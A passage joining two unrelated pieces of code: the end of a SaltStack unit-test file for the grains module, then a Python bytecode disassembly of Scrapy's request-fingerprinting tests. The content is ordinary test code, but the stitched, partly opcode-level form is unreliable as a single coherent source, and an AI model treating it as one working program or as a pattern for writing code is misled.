grainsmod.__grains__ == {"a": None, "c": 8} def test_set_None_force_destructive(): with patch.dict(grainsmod.__grains__, {"a": "aval", "c": 8}): res = grainsmod.set("a", None, force=True, destructive=True) assert res["result"] assert res["changes"] == {"a": None} assert grainsmod.__grains__ == {"c": 8} def test_set_replace_value_was_complex_force(): with patch.dict(grainsmod.__grains__, {"a": ["item", 12], "c": 8}): res = grainsmod.set("a", "aval", force=True) assert res["result"] assert res["changes"] == {"a": "aval"} assert grainsmod.__grains__ == {"a": "aval", "c": 8} def test_set_complex_value_force(): with patch.dict(grainsmod.__grains__, {"a": "aval", "c": 8}): res = grainsmod.set("a", ["item", 12], force=True) assert res["result"] assert res["changes"] == {"a": ["item", 12]} assert grainsmod.__grains__ == {"a": ["item", 12], "c": 8} def test_set_nested_create(): with patch.dict(grainsmod.__grains__, {"a": "aval", "c": 8}): res = grainsmod.set("b,nested", "val", delimiter=",") assert res["result"] assert res["changes"] == {"b": {"nested": "val"}} assert grainsmod.__grains__ == {"a": "aval", "b": {"nested": "val"}, "c": 8} def test_set_nested_update_dict(): with patch.dict( grainsmod.__grains__, {"a": "aval", "b": {"nested": "val"}, "c": 8} ): res = grainsmod.set("b,nested", "val2", delimiter=",") assert res["result"] assert res["changes"] == {"b": {"nested": "val2"}} assert grainsmod.__grains__ == {"a": "aval", "b": {"nested": "val2"}, "c": 8} def test_set_nested_update_dict_remove_key(): with patch.dict( grainsmod.__grains__, {"a": "aval", "b": {"nested": "val"}, "c": 8} ): res = grainsmod.set("b,nested", None, delimiter=",", destructive=True) assert res["result"] assert res["changes"] == {"b": {}} assert grainsmod.__grains__ == {"a": "aval", "b": {}, "c": 8} def test_set_nested_update_dict_new_key(): with patch.dict( grainsmod.__grains__, {"a": "aval", "b": {"nested": "val"}, "c": 8} ): res = grainsmod.set("b,b2", "val2", delimiter=",") assert res["result"] assert res["changes"] == {"b": {"b2": "val2", "nested": "val"}} assert grainsmod.__grains__ == { "a": "aval", "b": {"b2": "val2", "nested": "val"}, "c": 8, } def test_set_nested_list_replace_key(): with patch.dict( grainsmod.__grains__, {"a": "aval", "b": ["l1", "l2", "l3"], "c": 8} ): res = grainsmod.set("b,l2", "val2", delimiter=",") assert res["result"] assert res["changes"] == {"b": ["l1", {"l2": "val2"}, "l3"]} assert grainsmod.__grains__ == { "a": "aval", "b": ["l1", {"l2": "val2"}, "l3"], "c": 8, } def test_set_nested_list_update_dict_key(): with patch.dict( grainsmod.__grains__, {"a": "aval", "b": ["l1", {"l2": "val1"}], "c": 8} ): res = grainsmod.set("b,l2", "val2", delimiter=",") assert res["result"] assert res["changes"] == {"b": ["l1", {"l2": "val2"}]} assert grainsmod.__grains__ == { "a": "aval", "b": ["l1", {"l2": "val2"}], "c": 8, } def test_set_nested_list_update_dict_key_overwrite(): with patch.dict( grainsmod.__grains__, {"a": "aval", "b": ["l1", {"l2": ["val1"]}], "c": 8} ): res = grainsmod.set("b,l2", "val2", delimiter=",", force=True) assert res["result"] assert res["changes"] == {"b": ["l1", {"l2": "val2"}]} assert grainsmod.__grains__ == { "a": "aval", "b": ["l1", {"l2": "val2"}], "c": 8, } def test_set_nested_list_append_dict_key(): with patch.dict( grainsmod.__grains__, {"a": "aval", "b": ["l1", {"l2": "val2"}], "c": 8} ): res = grainsmod.set("b,l3", "val3", delimiter=",") assert res["result"] assert res["changes"] == {"b": ["l1", {"l2": "val2"}, {"l3": "val3"}]} assert grainsmod.__grains__ == { "a": "aval", "b": ["l1", {"l2": "val2"}, {"l3": "val3"}], "c": 8, } def test_set_nested_existing_value_is_the_key(): with patch.dict(grainsmod.__grains__, {"a": "aval", "b": "l3", "c": 8}): res = grainsmod.set("b,l3", "val3", delimiter=",") assert res["result"] assert res["changes"] == {"b": {"l3": "val3"}} assert grainsmod.__grains__ == {"a": "aval", "b": {"l3": "val3"}, "c": 8} def test_set_nested_existing_value_overwrite(): with patch.dict(grainsmod.__grains__, {"a": "aval", "b": "l1", "c": 8}): res = grainsmod.set("b,l3", "val3", delimiter=",", force=True) assert res["result"] assert res["changes"] == {"b": {"l3": "val3"}} assert grainsmod.__grains__ == {"a": "aval", "b": {"l3": "val3"}, "c": 8} def test_set_deeply_nested_update(): with patch.dict( grainsmod.__grains__, {"a": "aval", "b": {"l1": ["l21", "l22", {"l23": "l23val"}]}, "c": 8}, ): res = grainsmod.set("b,l1,l23", "val", delimiter=",") assert res["result"] assert res["changes"] == {"b": {"l1": ["l21", "l22", {"l23": "val"}]}} assert grainsmod.__grains__ == { "a": "aval", "b": {"l1": ["l21", "l22", {"l23": "val"}]}, "c": 8, } def test_set_deeply_nested_create(): with patch.dict( grainsmod.__grains__, {"a": "aval", "b": {"l1": ["l21", "l22", {"l23": "l23val"}]}, "c": 8}, ): res = grainsmod.set("b,l1,l24,l241", "val", delimiter=",") assert res["result"] assert res["changes"] == { "b": { "l1": [ "l21", "l22", {"l23": "l23val"}, {"l24": {"l241": "val"}}, ] } } assert grainsmod.__grains__ == { "a": "aval", "b": { "l1": [ "l21", "l22", {"l23": "l23val"}, {"l24": {"l241": "val"}}, ] }, "c": 8, } def test_get_ordered(): with patch.dict( grainsmod.__grains__, OrderedDict( [ ("a", "aval"), ( "b", OrderedDict( [ ("z", "zval"), ( "l1", ["l21", "l22", OrderedDict([("l23", "l23val")])], ), ] ), ), ("c", 8), ] ), ): res = grainsmod.get("b") assert type(res) == OrderedDict assert res == OrderedDict( [ ("z", "zval"), ("l1", ["l21", "l22", OrderedDict([("l23", "l23val")])]), ] ) assert not res == OrderedDict( [ ("l1", ["l21", "l22", OrderedDict([("l23", "l23val")])]), ("z", "zval"), ] ) def test_get_unordered(): with patch.dict( grainsmod.__grains__, OrderedDict( [ ("a", "aval"), ( "b", OrderedDict( [ ("z", "zval"), ( "l1", ["l21", "l22", OrderedDict([("l23", "l23val")])], ), ] ), ), ("c", 8), ] ), ): res = grainsmod.get("b", ordered=False) assert type(res) == dict assert res == OrderedDict( [ ("l1", ["l21", "l22", OrderedDict([("l23", "l23val")])]), ("z", "zval"), ] ) def test_equals(): with patch.dict( grainsmod.__grains__, OrderedDict( [ ("a", "aval"), ( "b", OrderedDict( [ ("z", "zval"), ( "l1", ["l21", "l22", OrderedDict([("l23", "l23val")])], ), ] ), ), ("c", 8), ] ), ): res = grainsmod.equals("a", "aval") assert type(res) == bool assert res res = grainsmod.equals("b:z", "zval") assert res res = grainsmod.equals("b:z", "aval") assert not res def test_grains_setval_refresh_pillar(): """ Test that refresh_pillar kwarg is being passed correctly from grains.setval to saltutil.refresh_grains """ ret = grainsmod.setval("test_grains_setval_refresh_pillar", "saltopotamus") grainsmod.__salt__["saltutil.refresh_grains"].assert_called_with( refresh_pillar=True ) ret = grainsmod.setval( "test_grains_setval_refresh_pillar", "saltopotamus", refresh_pillar=True ) grainsmod.__salt__["saltutil.refresh_grains"].assert_called_with( refresh_pillar=True ) ret = grainsmod.setval( "test_grains_setval_refresh_pillar", "saltopotamus", refresh_pillar=False ) grainsmod.__salt__["saltutil.refresh_grains"].assert_called_with( refresh_pillar=False ) def test_setval_unicode(): key = "塩" # salt value = "塩人生です" # salt is life for _ in range(2): ret = grainsmod.setvals({key: value}) assert key in ret assert ret[key] == value def test_delval_single(): with patch.dict( grainsmod.__grains__, {"a": "aval", "b": {"nested": "val"}, "c": 8} ): res = grainsmod.delval("a") assert res["result"] assert res["changes"] == {"a": None} assert grainsmod.__grains__ == {"a": None, "b": {"nested": "val"}, "c": 8} def test_delval_nested(): with patch.dict( grainsmod.__grains__, {"a": "aval", "b": {"nested": "val"}, "c": 8} ): res = grainsmod.delval("b:nested") assert res["result"] assert res["changes"] == {"b": {"nested": None}} assert grainsmod.__grains__ == {"a": "aval", "b": {"nested": None}, "c": 8} def test_delkey_single_key(): with patch.dict( grainsmod.__grains__, {"a": "aval", "b": {"nested": "val"}, "c": 8} ): res = grainsmod.delkey("a") assert res["result"] assert res["changes"] == {"a": None} assert grainsmod.__grains__ == {"b": {"nested": "val"}, "c": 8} def test_delkey_nested_key(): with patch.dict( grainsmod.__grains__, {"a": "aval", "b": {"nested": "val"}, "c": 8} ): res = grainsmod.delkey("b:nested") assert res["result"] assert res["changes"] == {"b": {}} assert grainsmod.__grains__ == {"a": "aval", "b": {}, "c": 8} def test_delkey_nested_key_force_needed(): with patch.dict( grainsmod.__grains__, {"a": "aval", "b": {"nested": "val"}, "c": 8} ): res = grainsmod.delkey("b", force=True) assert res["comment"].find("Use 'force=True' to overwrite.") == -1 assert res["result"] assert res["changes"] == {"b": None} assert grainsmod.__grains__ == {"a": "aval", "c": 8}
data/salt-3006.6/tests/pytests/unit/modules/test_grains.py
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SETUP_ANNOTATIONS LOAD_CONST 0 LOAD_CONST None IMPORT_NAME json STORE_NAME json LOAD_CONST 0 LOAD_CONST None IMPORT_NAME unittest STORE_NAME unittest LOAD_CONST 0 LOAD_CONST None IMPORT_NAME warnings STORE_NAME warnings LOAD_CONST 0 LOAD_CONST ('sha1',) IMPORT_NAME hashlib IMPORT_FROM sha1 STORE_NAME sha1 POP_TOP LOAD_CONST 0 LOAD_CONST ('Dict', 'Mapping', 'Optional', 'Tuple', 'Union') IMPORT_NAME typing IMPORT_FROM Dict STORE_NAME Dict IMPORT_FROM Mapping STORE_NAME Mapping IMPORT_FROM Optional STORE_NAME Optional IMPORT_FROM Tuple STORE_NAME Tuple IMPORT_FROM Union STORE_NAME Union POP_TOP LOAD_CONST 0 LOAD_CONST ('WeakKeyDictionary',) IMPORT_NAME weakref IMPORT_FROM WeakKeyDictionary STORE_NAME WeakKeyDictionary POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pytest STORE_NAME pytest LOAD_CONST 0 LOAD_CONST ('canonicalize_url',) IMPORT_NAME w3lib.url IMPORT_FROM canonicalize_url STORE_NAME canonicalize_url POP_TOP LOAD_CONST 0 LOAD_CONST ('Request',) IMPORT_NAME scrapy.http IMPORT_FROM Request STORE_NAME Request POP_TOP LOAD_CONST 0 LOAD_CONST ('ScrapyDeprecationWarning',) IMPORT_NAME scrapy.utils.deprecate IMPORT_FROM ScrapyDeprecationWarning STORE_NAME ScrapyDeprecationWarning POP_TOP LOAD_CONST 0 LOAD_CONST ('to_bytes',) IMPORT_NAME scrapy.utils.python IMPORT_FROM to_bytes STORE_NAME to_bytes POP_TOP LOAD_CONST 0 LOAD_CONST ('_deprecated_fingerprint_cache', '_fingerprint_cache', '_request_fingerprint_as_bytes', 'fingerprint', 'request_authenticate', 'request_fingerprint', 'request_httprepr', 'request_to_curl') IMPORT_NAME scrapy.utils.request IMPORT_FROM _deprecated_fingerprint_cache STORE_NAME _deprecated_fingerprint_cache IMPORT_FROM _fingerprint_cache STORE_NAME _fingerprint_cache IMPORT_FROM _request_fingerprint_as_bytes STORE_NAME _request_fingerprint_as_bytes IMPORT_FROM fingerprint STORE_NAME fingerprint IMPORT_FROM request_authenticate STORE_NAME request_authenticate IMPORT_FROM request_fingerprint STORE_NAME request_fingerprint IMPORT_FROM request_httprepr STORE_NAME request_httprepr IMPORT_FROM request_to_curl STORE_NAME request_to_curl POP_TOP LOAD_CONST 0 LOAD_CONST ('get_crawler',) IMPORT_NAME scrapy.utils.test IMPORT_FROM get_crawler STORE_NAME get_crawler POP_TOP LOAD_BUILD_CLASS LOAD_CONST <code object UtilsRequestTest at 0x7f8b2000bd20, file "f.py", line 27> LOAD_CONST 'UtilsRequestTest' MAKE_FUNCTION LOAD_CONST 'UtilsRequestTest' LOAD_NAME unittest LOAD_ATTR TestCase CALL_FUNCTION STORE_NAME UtilsRequestTest LOAD_BUILD_CLASS LOAD_CONST <code object FingerprintTest at 0x7f8ab62f5660, file "f.py", line 61> LOAD_CONST 'FingerprintTest' MAKE_FUNCTION LOAD_CONST 'FingerprintTest' LOAD_NAME unittest LOAD_ATTR TestCase CALL_FUNCTION STORE_NAME FingerprintTest LOAD_BUILD_CLASS LOAD_CONST <code object RequestFingerprintTest at 0x7f8ab62f5b70, file "f.py", line 232> LOAD_CONST 'RequestFingerprintTest' MAKE_FUNCTION LOAD_CONST 'RequestFingerprintTest' LOAD_NAME FingerprintTest CALL_FUNCTION STORE_NAME RequestFingerprintTest LOAD_BUILD_CLASS LOAD_CONST <code object RequestFingerprintDeprecationTest at 0x7f8a95a1f4b0, file "f.py", line 324> LOAD_CONST 'RequestFingerprintDeprecationTest' MAKE_FUNCTION LOAD_CONST 'RequestFingerprintDeprecationTest' LOAD_NAME unittest LOAD_ATTR TestCase CALL_FUNCTION STORE_NAME RequestFingerprintDeprecationTest LOAD_BUILD_CLASS LOAD_CONST <code object RequestFingerprintAsBytesTest at 0x7f8a95a1fc00, file "f.py", line 344> LOAD_CONST 'RequestFingerprintAsBytesTest' MAKE_FUNCTION LOAD_CONST 'RequestFingerprintAsBytesTest' LOAD_NAME FingerprintTest CALL_FUNCTION STORE_NAME RequestFingerprintAsBytesTest LOAD_NAME WeakKeyDictionary CALL_FUNCTION STORE_NAME _fingerprint_cache_2_6 LOAD_NAME Mapping LOAD_NAME Request LOAD_NAME Tuple LOAD_CONST None LOAD_NAME bool BUILD_TUPLE BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR LOAD_NAME __annotations__ LOAD_CONST '_fingerprint_cache_2_6' STORE_SUBSCR LOAD_CONST (None, False) LOAD_CONST <code object request_fingerprint_2_6 at 0x7f8a95a1fae0, file "f.py", line 372> LOAD_CONST 'request_fingerprint_2_6' MAKE_FUNCTION STORE_NAME request_fingerprint_2_6 LOAD_NAME Request LOAD_CONST 'http://www.example.com/' CALL_FUNCTION LOAD_NAME Request LOAD_CONST 'http://www.example.com/query?id=111&cat=222' CALL_FUNCTION LOAD_NAME Request LOAD_CONST 'http://www.example.com/query?cat=222&id=111' CALL_FUNCTION LOAD_NAME Request LOAD_CONST 'http://www.example.com/hnnoticiaj1.aspx?78132,199' CALL_FUNCTION LOAD_NAME Request LOAD_CONST 'http://www.example.com/hnnoticiaj1.aspx?78160,199' CALL_FUNCTION LOAD_NAME Request LOAD_CONST 'http://www.example.com/members/offers.html' CALL_FUNCTION LOAD_NAME Request LOAD_CONST 'http://www.example.com/members/offers.html' LOAD_CONST 'SESSIONID' LOAD_CONST b'somehash' BUILD_MAP LOAD_CONST ('headers',) CALL_FUNCTION LOAD_NAME Request LOAD_CONST 'http://www.example.com/' LOAD_CONST 'Accept-Language' LOAD_CONST b'en' BUILD_MAP LOAD_CONST ('headers',) CALL_FUNCTION LOAD_NAME Request LOAD_CONST 'http://www.example.com/' LOAD_CONST b'en' LOAD_CONST b'somehash' LOAD_CONST ('Accept-Language', 'SESSIONID') BUILD_CONST_KEY_MAP LOAD_CONST ('headers',) CALL_FUNCTION LOAD_NAME Request LOAD_CONST 'http://www.example.com/test.html' CALL_FUNCTION LOAD_NAME Request LOAD_CONST 'http://www.example.com/test.html#fragment' CALL_FUNCTION LOAD_NAME Request LOAD_CONST 'http://www.example.com' LOAD_CONST 'POST' LOAD_CONST ('method',) CALL_FUNCTION LOAD_NAME Request LOAD_CONST 'http://www.example.com' LOAD_CONST 'POST' LOAD_CONST b'request body' LOAD_CONST ('method', 'body') CALL_FUNCTION BUILD_TUPLE STORE_NAME REQUEST_OBJECTS_TO_TEST LOAD_BUILD_CLASS LOAD_CONST <code object BackwardCompatibilityTestCase at 0x7f8a95a1fd20, file "f.py", line 423> LOAD_CONST 'BackwardCompatibilityTestCase' MAKE_FUNCTION LOAD_CONST 'BackwardCompatibilityTestCase' LOAD_NAME unittest LOAD_ATTR TestCase CALL_FUNCTION STORE_NAME BackwardCompatibilityTestCase LOAD_BUILD_CLASS LOAD_CONST <code object RequestFingerprinterTestCase at 0x7f8a95a1f540, file "f.py", line 486> LOAD_CONST 'RequestFingerprinterTestCase' MAKE_FUNCTION LOAD_CONST 'RequestFingerprinterTestCase' LOAD_NAME unittest LOAD_ATTR TestCase CALL_FUNCTION STORE_NAME RequestFingerprinterTestCase LOAD_BUILD_CLASS LOAD_CONST <code object CustomRequestFingerprinterTestCase at 0x7f8ab6deb6f0, file "f.py", line 531> LOAD_CONST 'CustomRequestFingerprinterTestCase' MAKE_FUNCTION LOAD_CONST 'CustomRequestFingerprinterTestCase' LOAD_NAME unittest LOAD_ATTR TestCase CALL_FUNCTION STORE_NAME CustomRequestFingerprinterTestCase LOAD_BUILD_CLASS LOAD_CONST <code object RequestToCurlTest at 0x7f8ab6debae0, file "f.py", line 666> LOAD_CONST 'RequestToCurlTest' MAKE_FUNCTION LOAD_CONST 'RequestToCurlTest' LOAD_NAME unittest LOAD_ATTR TestCase CALL_FUNCTION STORE_NAME RequestToCurlTest LOAD_NAME __name__ LOAD_CONST '__main__' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME unittest LOAD_METHOD main CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'UtilsRequestTest' STORE_NAME __qualname__ LOAD_CONST <code object test_request_authenticate at 0x7f8a954cd660, file "f.py", line 28> LOAD_CONST 'UtilsRequestTest.test_request_authenticate' MAKE_FUNCTION STORE_NAME test_request_authenticate LOAD_CONST <code object test_request_httprepr at 0x7f8b2000b540, file "f.py", line 33> LOAD_CONST 'UtilsRequestTest.test_request_httprepr' MAKE_FUNCTION STORE_NAME test_request_httprepr LOAD_CONST <code object test_request_httprepr_for_non_http_request at 0x7f8b2000bae0, file "f.py", line 56> LOAD_CONST 'UtilsRequestTest.test_request_httprepr_for_non_http_request' MAKE_FUNCTION STORE_NAME test_request_httprepr_for_non_http_request LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Request LOAD_CONST 'http://www.example.com' CALL_FUNCTION STORE_FAST r LOAD_GLOBAL request_authenticate LOAD_FAST r LOAD_CONST 'someuser' LOAD_CONST 'somepass' CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_METHOD assertEqual LOAD_FAST r LOAD_ATTR headers LOAD_CONST 'Authorization' BINARY_SUBSCR LOAD_CONST b'Basic c29tZXVzZXI6c29tZXBhc3M=' CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Request LOAD_CONST 'http://www.example.com' CALL_FUNCTION STORE_FAST r1 LOAD_FAST self LOAD_METHOD assertEqual LOAD_GLOBAL request_httprepr LOAD_FAST r1 CALL_FUNCTION LOAD_CONST b'GET / HTTP/1.1\r\nHost: www.example.com\r\n\r\n' CALL_METHOD POP_TOP LOAD_GLOBAL Request LOAD_CONST 'http://www.example.com/some/page.html?arg=1' CALL_FUNCTION STORE_FAST r1 LOAD_FAST self LOAD_METHOD assertEqual LOAD_GLOBAL request_httprepr LOAD_FAST r1 CALL_FUNCTION LOAD_CONST b'GET /some/page.html?arg=1 HTTP/1.1\r\nHost: www.example.com\r\n\r\n' CALL_METHOD POP_TOP LOAD_GLOBAL Request LOAD_CONST 'http://www.example.com' LOAD_CONST 'POST' LOAD_CONST 'Content-type' LOAD_CONST b'text/html' BUILD_MAP LOAD_CONST b'Some body' LOAD_CONST ('method', 'headers', 'body') CALL_FUNCTION STORE_FAST r1 LOAD_FAST self LOAD_METHOD assertEqual LOAD_GLOBAL request_httprepr LOAD_FAST r1 CALL_FUNCTION LOAD_CONST b'POST / HTTP/1.1\r\nHost: www.example.com\r\nContent-Type: text/html\r\n\r\nSome body' CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL request_httprepr LOAD_GLOBAL Request LOAD_CONST 'file:///tmp/foo.txt' CALL_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL request_httprepr LOAD_GLOBAL Request LOAD_CONST 'ftp://localhost/tmp/foo.txt' CALL_FUNCTION CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'FingerprintTest' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST None STORE_NAME maxDiff LOAD_NAME staticmethod LOAD_NAME fingerprint CALL_FUNCTION STORE_NAME function LOAD_NAME staticmethod LOAD_NAME __annotations__ LOAD_CONST 'function' STORE_SUBSCR LOAD_NAME _fingerprint_cache STORE_NAME cache LOAD_NAME Union LOAD_CONST ('WeakKeyDictionary[Request, Dict[Tuple[Optional[Tuple[bytes, ...]], bool], bytes]]', 'WeakKeyDictionary[Request, Dict[Tuple[Optional[Tuple[bytes, ...]], bool], str]]') BINARY_SUBSCR LOAD_NAME __annotations__ LOAD_CONST 'cache' STORE_SUBSCR LOAD_CONST (None, False) STORE_NAME default_cache_key LOAD_NAME Request LOAD_CONST 'http://example.org' CALL_FUNCTION LOAD_CONST b'xs\xd7\x0c3uj\x15\xfe\xd7d\x9b\xa9\t\xe0d\xbf\x9cXD' BUILD_MAP BUILD_TUPLE LOAD_NAME Request LOAD_CONST 'https://example.org' CALL_FUNCTION LOAD_CONST b'\xc04\x85P,\xaa\x91\x06\xf8t\xb4\xbd*\xd9\xe9\x8a:m\xc3l' BUILD_MAP BUILD_TUPLE LOAD_NAME Request LOAD_CONST 'https://example.org?a' CALL_FUNCTION LOAD_CONST b'G\xad\xb8Ck\x19\x1c\xed\x838,\x01\xc4\xde;\xee\xa5\x94a\x0c' BUILD_MAP BUILD_TUPLE LOAD_NAME Request LOAD_CONST 'https://example.org?a=b' CALL_FUNCTION LOAD_CONST b'\x024MYb\x8a\xc2\x1e\xbc>\xd6\xac*\xda\x9cF\xc1r\x7f\x17' BUILD_MAP BUILD_TUPLE LOAD_NAME Request LOAD_CONST 'https://example.org?a=b&a' CALL_FUNCTION LOAD_CONST b't+\xe8*\xfb\x84\xe3v\x1a}\x88p\xc0\xccB\xd7\x9d\xfez\x96' BUILD_MAP BUILD_TUPLE LOAD_NAME Request LOAD_CONST 'https://example.org?a=b&a=c' CALL_FUNCTION LOAD_CONST b'\xda\x1ec\xd0\x9c\x08s`\xb4\x9b\xe2\xb6R\xf8k\xef\xeaQG\xef' BUILD_MAP BUILD_TUPLE LOAD_NAME Request LOAD_CONST 'https://example.org' LOAD_CONST 'POST' LOAD_CONST ('method',) CALL_FUNCTION LOAD_CONST b'\x9d\xcdA\x0fT\x02:\xca\xa0}\x90\xda\x05B\xded\x8aN7\x1d' BUILD_MAP BUILD_TUPLE LOAD_NAME Request LOAD_CONST 'https://example.org' LOAD_CONST b'a' LOAD_CONST ('body',) CALL_FUNCTION LOAD_CONST b'\xc34z>\xd8\x99\x8b\xda7\x05r\x99I\xa8\xa0x;\xa41_' BUILD_MAP BUILD_TUPLE LOAD_NAME Request LOAD_CONST 'https://example.org' LOAD_CONST 'POST' LOAD_CONST b'a' LOAD_CONST ('method', 'body') CALL_FUNCTION LOAD_CONST b'5`\xe2y4\xd0\x9d\xee\xe0\xbatw\x87Q\xe8O\xd78\xfc\xe7' BUILD_MAP BUILD_TUPLE LOAD_NAME Request LOAD_CONST 'https://example.org#a' LOAD_CONST 'A' LOAD_CONST b'B' BUILD_MAP LOAD_CONST ('headers',) CALL_FUNCTION LOAD_CONST b'\xc04\x85P,\xaa\x91\x06\xf8t\xb4\xbd*\xd9\xe9\x8a:m\xc3l' BUILD_MAP BUILD_TUPLE LOAD_NAME Request LOAD_CONST 'https://example.org#a' LOAD_CONST 'A' LOAD_CONST b'B' BUILD_MAP LOAD_CONST ('headers',) CALL_FUNCTION LOAD_CONST b']\xc7\x1f\xf2\xafG2\xbc\xa4\xfa\x99\n33\xda\x18\x94\x81U.' LOAD_CONST 'include_headers' LOAD_CONST 'A' BUILD_LIST BUILD_MAP BUILD_TUPLE LOAD_NAME Request LOAD_CONST 'https://example.org#a' LOAD_CONST 'A' LOAD_CONST b'B' BUILD_MAP LOAD_CONST ('headers',) CALL_FUNCTION LOAD_CONST b'<\x1a\xeb\x85y\xdeW\xfb\xdcq\x88\xee\xaf\x17\xdd\x0c\xbfH\x18\x1f' LOAD_CONST 'keep_fragments' LOAD_CONST True BUILD_MAP BUILD_TUPLE LOAD_NAME Request LOAD_CONST 'https://example.org#a' LOAD_CONST 'A' LOAD_CONST b'B' BUILD_MAP LOAD_CONST ('headers',) CALL_FUNCTION LOAD_CONST b'\xc1\xef~\x94\x9bS\xc1\x83\t\xdcz8\x9f\xdc{\x11\x16I.\x11' LOAD_CONST 'A' BUILD_LIST LOAD_CONST True LOAD_CONST ('include_headers', 'keep_fragments') BUILD_CONST_KEY_MAP BUILD_TUPLE LOAD_NAME Request LOAD_CONST 'https://example.org/ab' CALL_FUNCTION LOAD_CONST b'N\xe5l\xb8\x12@iw\xe2\xf3\x1bp\xea\xffp!u\xe2\x8a\xc6' BUILD_MAP BUILD_TUPLE LOAD_NAME Request LOAD_CONST 'https://example.org/a' LOAD_CONST b'b' LOAD_CONST ('body',) CALL_FUNCTION LOAD_CONST b'_NOv\xbco$6\xfcW\x9f\xb24g\x9f\xbb\xdd\xa82\xc5' BUILD_MAP BUILD_TUPLE BUILD_TUPLE STORE_NAME known_hashes LOAD_NAME Tuple LOAD_NAME Tuple LOAD_NAME Request LOAD_NAME Union LOAD_NAME bytes LOAD_NAME str BUILD_TUPLE BINARY_SUBSCR LOAD_NAME Dict BUILD_TUPLE BINARY_SUBSCR LOAD_CONST Ellipsis BUILD_TUPLE BINARY_SUBSCR LOAD_NAME __annotations__ LOAD_CONST 'known_hashes' STORE_SUBSCR LOAD_CONST <code object test_query_string_key_order at 0x7f8af13ad930, file "f.py", line 148> LOAD_CONST 'FingerprintTest.test_query_string_key_order' MAKE_FUNCTION STORE_NAME test_query_string_key_order LOAD_CONST <code object test_query_string_key_without_value at 0x7f8af13ad0c0, file "f.py", line 154> LOAD_CONST 'FingerprintTest.test_query_string_key_without_value' MAKE_FUNCTION STORE_NAME test_query_string_key_without_value LOAD_CONST <code object test_caching at 0x7f8af13adf60, file "f.py", line 159> LOAD_CONST 'FingerprintTest.test_caching' MAKE_FUNCTION STORE_NAME test_caching LOAD_CONST <code object test_header at 0x7f8af13aded0, file "f.py", line 163> LOAD_CONST 'FingerprintTest.test_header' MAKE_FUNCTION STORE_NAME test_header LOAD_CONST <code object test_headers at 0x7f8af13ad5d0, file "f.py", line 169> LOAD_CONST 'FingerprintTest.test_headers' MAKE_FUNCTION STORE_NAME test_headers LOAD_CONST <code object test_fragment at 0x7f8e2fe41540, file "f.py", line 192> LOAD_CONST 'FingerprintTest.test_fragment' MAKE_FUNCTION STORE_NAME test_fragment LOAD_CONST <code object test_method_and_body at 0x7f8ab62f5270, file "f.py", line 200> LOAD_CONST 'FingerprintTest.test_method_and_body' MAKE_FUNCTION STORE_NAME test_method_and_body LOAD_CONST <code object test_request_replace at 0x7f8ab62f54b0, file "f.py", line 208> LOAD_CONST 'FingerprintTest.test_request_replace' MAKE_FUNCTION STORE_NAME test_request_replace LOAD_CONST <code object test_part_separation at 0x7f8ab62f55d0, file "f.py", line 215> LOAD_CONST 'FingerprintTest.test_part_separation' MAKE_FUNCTION STORE_NAME test_part_separation LOAD_CONST <code object test_hashes at 0x7f8ab62f5030, file "f.py", line 222> LOAD_CONST 'FingerprintTest.test_hashes' MAKE_FUNCTION STORE_NAME test_hashes LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Request LOAD_CONST 'http://www.example.com/query?id=111&cat=222' CALL_FUNCTION STORE_FAST r1 LOAD_GLOBAL Request LOAD_CONST 'http://www.example.com/query?cat=222&id=111' CALL_FUNCTION STORE_FAST r2 LOAD_FAST self LOAD_METHOD assertEqual LOAD_FAST self LOAD_METHOD function LOAD_FAST r1 CALL_METHOD LOAD_FAST self LOAD_METHOD function LOAD_FAST r1 CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD assertEqual LOAD_FAST self LOAD_METHOD function LOAD_FAST r1 CALL_METHOD LOAD_FAST self LOAD_METHOD function LOAD_FAST r2 CALL_METHOD CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Request LOAD_CONST 'http://www.example.com/hnnoticiaj1.aspx?78132,199' CALL_FUNCTION STORE_FAST r1 LOAD_GLOBAL Request LOAD_CONST 'http://www.example.com/hnnoticiaj1.aspx?78160,199' CALL_FUNCTION STORE_FAST r2 LOAD_FAST self LOAD_METHOD assertNotEqual LOAD_FAST self LOAD_METHOD function LOAD_FAST r1 CALL_METHOD LOAD_FAST self LOAD_METHOD function LOAD_FAST r2 CALL_METHOD CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Request LOAD_CONST 'http://www.example.com/hnnoticiaj1.aspx?78160,199' CALL_FUNCTION STORE_FAST r1 LOAD_FAST self LOAD_METHOD assertEqual LOAD_FAST self LOAD_METHOD function LOAD_FAST r1 CALL_METHOD LOAD_FAST self LOAD_ATTR cache LOAD_FAST r1 BINARY_SUBSCR LOAD_FAST self LOAD_ATTR default_cache_key BINARY_SUBSCR CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Request LOAD_CONST 'http://www.example.com/members/offers.html' CALL_FUNCTION STORE_FAST r1 LOAD_GLOBAL Request LOAD_CONST 'http://www.example.com/members/offers.html' CALL_FUNCTION STORE_FAST r2 LOAD_CONST b'somehash' LOAD_FAST r2 LOAD_ATTR headers LOAD_CONST 'SESSIONID' STORE_SUBSCR LOAD_FAST self LOAD_METHOD assertEqual LOAD_FAST self LOAD_METHOD function LOAD_FAST r1 CALL_METHOD LOAD_FAST self LOAD_METHOD function LOAD_FAST r2 CALL_METHOD CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Request LOAD_CONST 'http://www.example.com/' CALL_FUNCTION STORE_FAST r1 LOAD_GLOBAL Request LOAD_CONST 'http://www.example.com/' CALL_FUNCTION STORE_FAST r2 